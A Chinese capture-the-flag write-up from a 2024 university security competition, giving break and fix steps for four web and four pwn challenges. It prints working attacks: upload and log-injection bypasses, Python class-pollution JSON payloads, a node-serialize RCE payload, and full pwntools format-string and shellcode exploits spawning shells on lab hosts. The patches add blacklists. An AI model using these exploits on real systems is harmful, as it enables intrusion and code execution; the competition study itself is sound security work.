第十七届全国大学生信息安全竞赛-华东南分区赛

1签到+4web+4pwn

web-welcome

签到,Ctrl+U

web-submit

break

文件上传,有对内容检测,使用短标签绕过

fix

添加黑名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
// $path = "./uploads";
error_reporting(0);
$path = "./uploads";
$content = file_get_contents($_FILES['myfile']['tmp_name']);
$allow_content_type = array("image/png");
$type = $_FILES["myfile"]["type"];
if (!in_array($type, $allow_content_type)) {
die("只允许png哦!<br>");
}


// 修改点
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini",".htaccess");
$file_name = trim($_FILES['myfile']['name']);

$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext);

if (in_array($file_ext, $deny_ext)) {
die('此文件不允许上传!');
}

if (preg_match('/(php|script|xml|user|htaccess)/i', $content)) {
// echo "匹配成功!";
die('鼠鼠说你的内容不符合哦0-0');
} else {
$file = $path . '/' . $_FILES['myfile']['name'];
echo $file;

if (move_uploaded_file($_FILES['myfile']['tmp_name'], $file)) {
file_put_contents($file, $content);
echo 'Success!<br>';
} else {
echo 'Error!<br>';
}
}
?>


<!---->

web-粗心的程序员

break

扫目录,得到www.zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
include "default_info_auto_recovery.php";
session_start();
$p = $_SERVER["HTTP_X_FORWARDED_FOR"]?:$_SERVER["REMOTE_ADDR"];
if (preg_match("/\?|php|:/i",$p))
{
die("");
}
$time = date('Y-m-d h:i:s', time());
$username = $_SESSION['username'];
$id = $_SESSION['id'];
if ($username && $id){
echo "Hello,"."$username";
$str = "//登陆时间$time,$username $p";
$str = str_replace("\n","",$str);
file_put_contents("config.php",file_get_contents("config.php").$str);
}else{
die("NO ACCESS");
}
?>

home.php中会写入登录日志$str = "//登陆时间$time,$username $p";

?><? phpinfo(); //截断注释输出phphinfo

或者写入一个换行后在xff中执行命令

fix

对于写入日志的两个参数添加黑名单

home.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
error_reporting(0);
include "default_info_auto_recovery.php";
session_start();
$p = $_SERVER["HTTP_X_FORWARDED_FOR"]?:$_SERVER["REMOTE_ADDR"];

// 修改点1
$blacklist = [">","<",";","|","//","#","php","'","="];
$p = str_replace($blacklist,"",$p);

if (preg_match("/\?|php|\>|:/i",$p))
{
die("");
}
$time = date('Y-m-d h:i:s', time());
$username = $_SESSION['username'];
$id = $_SESSION['id'];
if ($username && $id){
echo "Hello,"."$username";

// 修改点2
$blacklist = [">","<",";","|","//","#","?"];
$username = str_replace($blacklist,"",$username);

$str = "//登陆时间$time,$username $p";
$str = str_replace("\n","",$str);
file_put_contents("config.php",file_get_contents("config.php").$str);
}else{
die("NO ACCESS");
}
?>
<br>
<script type="text/javascript" src="js/jquery-1.9.0.min.js"></script>
<script type="text/javascript" src="js/jquery.base64.js"></script>
<script>
....
</script>
更改用户名<input type="text" name="newusername" id="newusername" value="">
<button type="submit" onclick="submitData()" >更改</button>

web-Polluted

break

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re

def generate_random_md5():
random_string = os.urandom(16)
md5_hash = hashlib.md5(random_string)

return md5_hash.hexdigest()
def filter(user_input):
blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
for pattern in blacklisted_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
return True
return False
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


app = Flask(__name__)
app.secret_key = generate_random_md5()

class evil():
def __init__(self):
pass

@app.route('/',methods=['POST'])
def index():
username = request.form.get('username')
password = request.form.get('password')
session["username"] = username
session["password"] = password
Evil = evil()
if request.data:
if filter(str(request.data)):
return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
else:
merge(json.loads(request.data), Evil)
return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
return render_template("index.html")

@app.route('/admin',methods=['POST', 'GET'])
def templates():
username = session.get("username", None)
password = session.get("password", None)
if username and password:
if username == "adminer" and password == app.secret_key:
return render_template("important.html", flag=open("/flag", "rt").read())
else:
return "Unauthorized"
else:
return f'Hello, This is the POLLUTED page.'

if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True, port=80)

python原型链污染secret_key

1
2
3
4
5
6
7
8
9
{
"__init__": {
"__globals__": {
"app": {
"secret_key": "dr0n111"
}
}
}
}

有关键字被过滤了,转成unicode绕过

1
2
3
4
5
6
7
8
9
{
"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f": {
"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f": {
"\u0061\u0070\u0070": {
"\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079": "dr0n111"
}
}
}
}

污染后伪造key登录

1
python flask_session_cookie_manager3.py encode -s "dr0n111" -t "{'password':'dr0n111','username':'adminer'}"

登录后看到语法标识符不对,使用variable_start_string替换

1
2
3
4
5
6
7
8
9
10
11
12
{
"__init__": {
"__globals__": {
"app": {
"jinja_env": {
"variable_start_string": "[%",
"variable_end_string": "%]"
}
}
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
{
"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f": {
"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f": {
"\u0061\u0070\u0070": {
"\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076": {
"\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067": "[%",
"\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067": "%]"
}
}
}
}
}

因为缓存的原因,先污染在访问即可

fix

增加黑名单

1
2
3
4
5
6
def filter(user_input):
blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string', '005f', '0074', '006c', '[%']
for pattern in blacklisted_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
return True
return False

web-bigfish

break

扫目录得到/admin/login

访问admin会自动跳转到login,简单修改cookie就能直接登录

数据储存位置可以穿越目录,读取fish.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
const express = require('express');
const path = require('path');
const fs = require('fs');
const cookieParser = require('cookie-parser');
const bodyParser = require('body-parser');
const serialize = require('node-serialize');
const schedule = require('node-schedule');

// Change working directory to /srv
process.chdir('/srv');


let rule1 = new schedule.RecurrenceRule();
rule1.minute = [0, 3, 6 , 9, 12, 15, 18, 21, 24, 27, 30, 33, 36, 39, 42, 45, 48, 51, 54, 57];

// 定时清除
let job1 = schedule.scheduleJob(rule1, () => {
fs.writeFile('data.html',"#获取的数据信息\n",function(error){
console.log("wriet error")
});
});


const app = express();

app.engine('html',require('express-art-template'))

app.use(express.static('public'));
app.use(cookieParser());
app.use(bodyParser.json())
app.use(bodyParser.urlencoded({extended: false}))


data_path = "data.html";

// Middleware to set default cookies for /admin route
function setDefaultAdminCookies(req, res, next) {
if (!req.cookies.username) {
res.cookie('username', 'normal');
}
if (!req.cookies.is_admin) {
res.cookie('is_admin', 'false');
}
next();
}

//主页
app.get('/', function(req, res) {
res.sendFile(path.join(__dirname, 'public/index.html'));
});

app.post('/',function(req, res){
fs.appendFile('data.html',JSON.stringify(req.body)+"\n",function(error){
console.log(req.body)
});
res.sendFile(path.join(__dirname, 'public/index.html'));
});


//后台管理
app.get('/admin', setDefaultAdminCookies, function(req, res) {
if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
res.redirect('login');
}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
res.render('admin.html',{
datadir : data_path
});
}
});

app.post('/admin', setDefaultAdminCookies, function(req, res) {
if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
res.redirect('login');
}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
if(req.body.newname){
data_path = req.body.newname;
res.redirect('admin');
}else{
res.redirect('admin');
}
}
});


//已弃用的登录
app.get('/login', function(req, res) {
res.sendFile(path.join(__dirname, 'public/login.html'));
});

app.post('/login', function(req, res) {
if(req.cookies.profile){
var str = new Buffer(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str);
if (obj.username) {
if (escape(obj.username) === "admin") {
res.send("Hello World");
}
}
}else{
res.sendFile(path.join(__dirname, 'public/data'));
}
});

//QQ
app.get('/qq', function(req, res) {
if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
res.redirect('login');
}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
res.sendFile(path.join(__dirname, data_path));
}
});


app.listen(80, '0.0.0.0');

在login的时候执行了serialize.unserialize(str),可以打nodejs反序列化

1
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('cat /this_is_your_ffflagg > /tmp/1.txt',function(error,stdout,stderr) {console.log(stdout)});}()"}

利用目录穿越拿到flag

fix

提示:应修尽修,xss

没有修复成功

pwn-ezwp

break

非预期:phpinfo中直接搜flag

预期解:

php.ini里可以看到引用了myphp.so

1
extension=/home/myphp.so

ida分析

进入get_module函数,通过扩展函数表,可以看到myphp.so扩展导出了三个函数: myphp_test1,myphp_test2,phppwn

进入phppwn,发现会验证密钥后读取flag输出

但是这里len的类型是unsigned __int8,所以len=strlen(arg)&0xff。同时密钥长度32,限制长度24,可以使用整数溢出进行绕过

exp

字符串长度&0xff<0x18 即可

1
hVymkNmp0NM0NcYCswNtFbUZuG1GXbwUaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

加上无字母rce

1
phppwn("hVymkNmp0NM0NcYCswNtFbUZuG1GXbwUaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
1
(~%8F%97%8F%8F%88%91)(~%97%A9%86%92%94%B1%92%8F%CF%B1%B2%CF%B1%9C%A6%BC%8C%88%B1%8B%B9%9D%AA%A5%8A%B8%CE%B8%A7%9D%88%AA%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E);

fix

应该是需要修改字符串长度比较类型为长整型

pwn-cJSON

break

在delete功能中存在格式化字符串,利用格式化字符串可以获取shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
import json

def all(name):
p.sendlineafter(b">",b'1')
p.sendlineafter(b'name:',name)

def get(name):
p.sendlineafter(b'>',b'2')
p.sendlineafter(b'name:',name)

def edit(name,data):
p.sendlineafter(b'>',b'3')
p.sendlineafter(b'name:',name)
p.sendlineafter(b'len:',str(len(data)).encode())
p.sendlineafter(b'data:',data)

def free(name):
p.sendlineafter(b'>',b'4')
p.sendlineafter(b'name:',name)
#p=process("./pwn")
p=remote("10.1.123.16",9999)
#gdb.attach(p,'bp $rebase(0x6b3b)')
libc=ELF("./libc.so.6")
#libc=ELF("./libc")
e=ELF("./pwn")
offset=20
code={"%25$p":1}
payload=json.dumps(code)
p.sendlineafter(b"size: ",str(len(payload)).encode())
p.sendlineafter(b'Json:',payload.encode())
free("%27$p")

p.readuntil('[')
d=int(p.readuntil(']',drop=1),16)
libc.address=d-0x24083
#libc.address=d-0x29d90
free("%11$p")
p.readuntil('[')
d=int(p.readuntil(']',drop=1),16)
e.address=d-0x6b04

free("%10$p")
p.readuntil('[')
d=int(p.readuntil(']',drop=1),16)
mainstack=d+8
stack=d-0x78
bin_sh=next(libc.search(b'/bin/sh\x00'))
system=libc.sym['system']
rdi=e.address+0x0000000000006ba3
ret=rdi+1
print(hex(mainstack))
print(hex(stack))
print(hex(libc.address))
print(hex(rdi))
print(hex(ret))
payload=p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
for i,v in enumerate(payload):
if v==0:
data="%22$hhn"
else:
data=("%"+str(v)+"c%"+"22$hhn")
data=data.encode().ljust(16,b'a')+p64(mainstack+i)
print(data)
free(data)
retaddr=e.address+0x6b3a
free(("%"+str(retaddr&0xffff)+"c%"+"22$hn").encode().ljust(16,b'a')+p64(stack))

pause()
p.interactive()

fix

将delete功能中的printf函数修改为puts

在edit功能中可能存在栈溢出,修改memcpy的第三个参数

pwn-baby_jit

break

shellcode中有8字节是自定义的,利用这8字节进行二次写,实现orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context.arch='amd64'

def exec():
pass

shellcode="""xor rdi,rdi
xchg rsi,rdx
syscall"""

p=remote("10.1.123.17",9999)
p.sendlineafter('>>','1')
p.sendline("add "+str(u64(asm(shellcode))))

for i in range(0x20):
p.sendlineafter('>>','1')
p.sendline("add "+str(u64(asm(shellcode))))

p.sendlineafter('>>','2')
p.sendlineafter('offset?','0.2')

shellcode=shellcraft.open("flag")+shellcraft.read(3,0x100000+0x100,0x100)+shellcraft.write(1,0x100000+0x100,0x100)
p.send(b'a'*0x8+asm(shellcode))
p.interactive()

fix

尝试了 修改指令单位大小,不使用浮点数进行偏移 没有防御成功

pwn-printf-master

break

利用栈中指向args和envs的指针数据修改printf函数返回地址,进行多次格式化字符串,最终修改printf的返回地址为gadget获得shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
import random
#context.log_level='debug'
def pwn(p):
libc=ELF("./libc-2.31.so")
gadget=0xe6af1
print(hex(gadget))
gdb.attach(p,'bp $rebase(0x1635)')
p.sendlineafter(b">>>",b'1')
p.readuntil('gift:')
stack=int(p.readline(),16)
print_stack=stack-0x18
print(hex(print_stack))
payload="%c"*14
payload+="%p"+"%"+str(print_stack-14-14)+'c'+'%hn'
data=0xa9
subdata=(print_stack+26)&0xff
data=data+0x100-subdata
payload+="%c"*26+"%"+str(data)+'c'+"%hhn"
# p.sendline('%p '*80)
p.sendlineafter('name?',payload)
p.readuntil('0x')
libc.address=int(p.read(12),16)-0x270b3
gadget=libc.address+gadget #3601
#libc.address=int(p.read(12),16)-0x24083
print(hex(libc.address))
# p.sendline('%p '*60)
# p.interactive()
print_stack=print_stack-0x30


data=print_stack-0x30
payload='%c'*8+'%'+str(data-8)+'c'+'%hn'

data=print_stack
subdata=print_stack-0x30+11
data=data+0x10000-subdata
payload+='%c'*11+'%'+str(data)+'c'+'%hn'


data=print_stack+4-0x30
subdata=(print_stack+14)&0xffff
data=data+0x10000-subdata
payload+="%c"*4+"%c"*10+"%"+str(data)+'c'+"%hn"

data=0xa9
subdata=(print_stack+4+10-0x30)&0xff
data=data+0x100-subdata
payload+="%c"*10+"%"+str(data)+'c'+'%hhn'

print(payload)
print(hex(print_stack))
print(hex(gadget))
print(len(payload))
p.sendlineafter("name?",payload)
pause()

print_stack-=0x30
data=gadget&0xffff
subdata=20
data=data+0x10000-subdata
payload="%c"*20+"%"+str(data)+"c"+"%hn"

data=print_stack+2
subdata=(gadget+5)&0xffff
data=data+0x10000-subdata
payload+="%c"*5+"%"+str(data)+"c"+"%hn"

data=(gadget>>16)&0xffff
subdata=(print_stack+2+26)&0xffff
data=data+0x10000-subdata

payload+="%c"*26+'%'+str(data)+'c'+"%hn"

data=(gadget>>32)&0xffff
subdata=(gadget>>16)&0xffff
data=data+0x10000-subdata
payload+="%"+str(data)+"c"+"%hn"
print(payload)
info("thrid")
p.sendlineafter("name?",payload)
p.interactive()
# pause()

p=process("./pwn1")
pwn(p)

while True:
break
try:
#p=remote("10.1.123.23",9999)
p=process("./pwn1")
gdb.attach(p,'bp $rebase(0x1635)')
pwn(p)
except:
pass

fix

在输出时使用了printf函数,修改为使用puts函数进行输出


第十七届全国大学生信息安全竞赛-华东南分区赛
https://www.dr0n.top/posts/deeac2cd/
作者
dr0n
发布于
2024年6月25日
更新于
2024年7月5日
许可协议